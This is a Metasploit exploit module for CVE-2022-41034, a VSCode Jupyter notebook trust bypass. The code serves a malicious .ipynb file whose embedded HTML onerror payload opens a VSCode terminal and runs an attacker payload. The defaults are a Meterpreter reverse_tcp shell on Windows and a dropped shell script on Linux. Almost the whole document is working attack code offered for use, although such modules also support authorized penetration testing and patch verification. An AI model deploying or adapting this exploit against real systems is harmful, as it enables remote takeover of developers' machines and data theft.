VSCode ipynb Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VSCode ipynb Remote Development RCE',
        'Description' => %q{
          VSCode when opening an Jupyter notebook (.ipynb) file bypasses the trust model.
          On versions v1.4.0 - v1.71.1, its possible for the Jupyter notebook to embed
          HTML and javascript, which can then open new terminal windows within VSCode.
          Each of these new windows can then execute arbitrary code at startup.

          During testing, the first open of the Jupyter notebook resulted in pop-ups
          displaying errors of unable to find the payload exe file. The second attempt
          at opening the Jupyter notebook would result in successful exeuction.

          Successfully tested against VSCode 1.70.2 on Windows 10.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # metasploit module
          'Zemnmez'
        ],
        'References' => [
          ['URL', 'https://github.com/google/security-research/security/advisories/GHSA-pw56-c55x-cm9m'],
          ['CVE', '2022-41034'],
          ['URL', 'https://github.com/andyhsu024/CVE-2022-41034']
        ],
        'DisclosureDate' => '2022-11-22',
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Stance' => Stance::Aggressive,
        'Payload' => { 'BadChars' => '&"' },
        'Targets' => [
          [
            'Windows',
            {
              'Platform' => 'win',
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
              }

            }
          ],
          [
            'Linux File-Dropper',
            {
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 3_600, # 1hr
          'URIPATH' => 'project.ipynb'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          # on windows it will say the final payload can't be found
          # however, it is, seems to be a timing issue, 2nd exploit attempt
          # works perfectly
          'Reliability' => [REPEATABLE_SESSION, FIRST_ATTEMPT_FAIL],
          'SideEffects' => [SCREEN_EFFECTS]
        }
      )
    )
    register_options(
      [
        OptString.new('PAYLOAD_FILENAME', [ false, 'Name of the payload file - only required when exploiting on Linux.', 'shell.sh' ]),
        OptString.new('WRITABLE_DIR', [ false, 'Name of the writable directory containing the payload file - required when exploiting on Linux .', '/tmp/' ]),
      ]
    )
  end

  def check
    CheckCode::Unsupported
  end

  def exploit
    unless datastore['URIPATH'].end_with? '.ipynb'
      fail_with(Failure::BadConfig, 'URIPATH must end in .ipynb for exploit to be successful')
    end
    print_status('Starting up web service...')
    start_service
    sleep(datastore['WFSDELAY'])
  end

  def on_request_uri(cli, request)
    super unless request.uri.end_with? datastore['URIPATH']

    if target['Platform'] == 'win'
      config = { 'executable' => 'cmd.exe', 'args' => "/c #{payload.raw}" }
    else
      config = { 'executable' => "/#{datastore['WRITABLE_DIR']}/#{datastore['PAYLOAD_FILENAME']}" }
    end

    pload = JSON.dump({ 'config' => config })
    pload = CGI.escape(pload).gsub('+', '%20') # XXX not sure if this is needed or not, but it works

    ipynb = %|{
"cells": [
  {
  "cell_type": "markdown",
  "metadata": {},
  "source": [
    "<img src=a onerror="let q = document.createElement('a');q.href='command:workbench.action.terminal.new?#{pload}';document.body.appendChild(q);q.click()"/>"
  ]
  }
]}|

    send_response(cli, ipynb, {
      'Connection' => 'close',
      'Pragma' => 'no-cache',
      'Access-Control-Allow-Origin' => '*'
    })

    print_status("Sent #{datastore['URIPATH']} to #{cli.peerhost}")
  end

end